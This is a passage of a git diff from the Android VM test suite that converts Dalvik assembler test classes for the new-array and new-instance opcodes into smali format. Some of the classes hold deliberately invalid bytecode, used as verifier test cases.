--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_1.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v0, v4, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali
new file mode 100644
index 0000000..6af724b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_1.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v4, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.d
deleted file mode 100644
index 4c99085..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_10.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 5
-
-       const v0, 3
-       new-array v0, v0, [Ldot/junit/opcodes/new_array/TestStubs;
-       
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali
new file mode 100644
index 0000000..eded354
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_10.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 5
+
+       const v0, 3
+       new-array v0, v0, [Ldot/junit/opcodes/new_array/TestStubs;
+       
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.d
deleted file mode 100644
index 3f0b3da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_11.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 5
-
-       const v0, 3
-       new-array v0, v0, [Ljava/lang/ObjectNNN;
-       
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali
new file mode 100644
index 0000000..ae51410
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_11.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 5
+
+       const v0, 3
+       new-array v0, v0, [Ljava/lang/ObjectNNN;
+       
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.d
deleted file mode 100644
index de7b8dd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_2.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[Z
-.limit regs 5
-
-       new-array v0, v4, [Z
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali
new file mode 100644
index 0000000..711de32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_2.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Z
+.registers 5
+
+       new-array v0, v4, [Z
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.d
deleted file mode 100644
index d560ca6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_3.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[Ljava/lang/Object;
-.limit regs 5
-
-       new-array v0, v4, [Ljava/lang/Object;
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali
new file mode 100644
index 0000000..6a0a95d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_3.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Ljava/lang/Object;
+.registers 5
+
+       new-array v0, v4, [Ljava/lang/Object;
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.d
deleted file mode 100644
index 2f75ff1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_4.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v5, v4, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali
new file mode 100644
index 0000000..67f0953
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_4.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v5, v4, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.d
deleted file mode 100644
index 9ce7d3e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_5.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       const-wide v3, 1
-       new-array v0, v3, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali
new file mode 100644
index 0000000..73f27e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_5.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       const-wide v3, 1
+       new-array v0, v3, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.d
deleted file mode 100644
index 885beba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_6.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v0, v4, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali
new file mode 100644
index 0000000..d98e0f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_6.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v4, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.smali
new file mode 100644
index 0000000..4b6b8b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/new_array/d/T_new_array_7;
+.super Ljava/lang/Object;
+.source "T_new_array_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)[Ljava/lang/Object;
+    .registers 5
+
+    new-array v0, p1, Ljava/lang/Object;
+
+    return-object v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.d
deleted file mode 100644
index a221fc2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_8.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[Ljava/lang/Object;
-.limit regs 5
-
-       new-array v0, v4, [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[Ljava/lang/Object;
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali
new file mode 100644
index 0000000..802648c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_8.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[Ljava/lang/Object;
+.registers 5
+
+       new-array v0, v4, [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[Ljava/lang/Object;
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.d
deleted file mode 100644
index 914322a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_array_9.java
-.class public dot.junit.opcodes.new_array.d.T_new_array_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)[I
-.limit regs 5
-
-       new-array v0, v3, [I
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali
new file mode 100644
index 0000000..584405c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_array_9.java"
+.class  public Ldot/junit/opcodes/new_array/d/T_new_array_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)[I
+.registers 5
+
+       new-array v0, v3, [I
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.d
deleted file mode 100644
index 0cff87a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_new_instance_1.java
-.class public dot.junit.opcodes.new_instance.d.T_new_instance_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 6
-
-       new-instance v1, java/lang/String
-       const-string v3, "abc"
-       invoke-direct {v1, v3}, java/lang/String/<init>(Ljava/lang/String;)V
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali
new file mode 100644
index 0000000..c275074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_new_instance_1.java"
+.class  public Ldot/junit/opcodes/new_instance/d/T_new_instance_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 6
+
+       new-instance v1, Ljava/lang/String;
+       const-string v3, "abc"
+       invoke-direct {v1, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.d
deleted file mode 100644
index cd9096d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/new_instance/d/T_new_instance_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
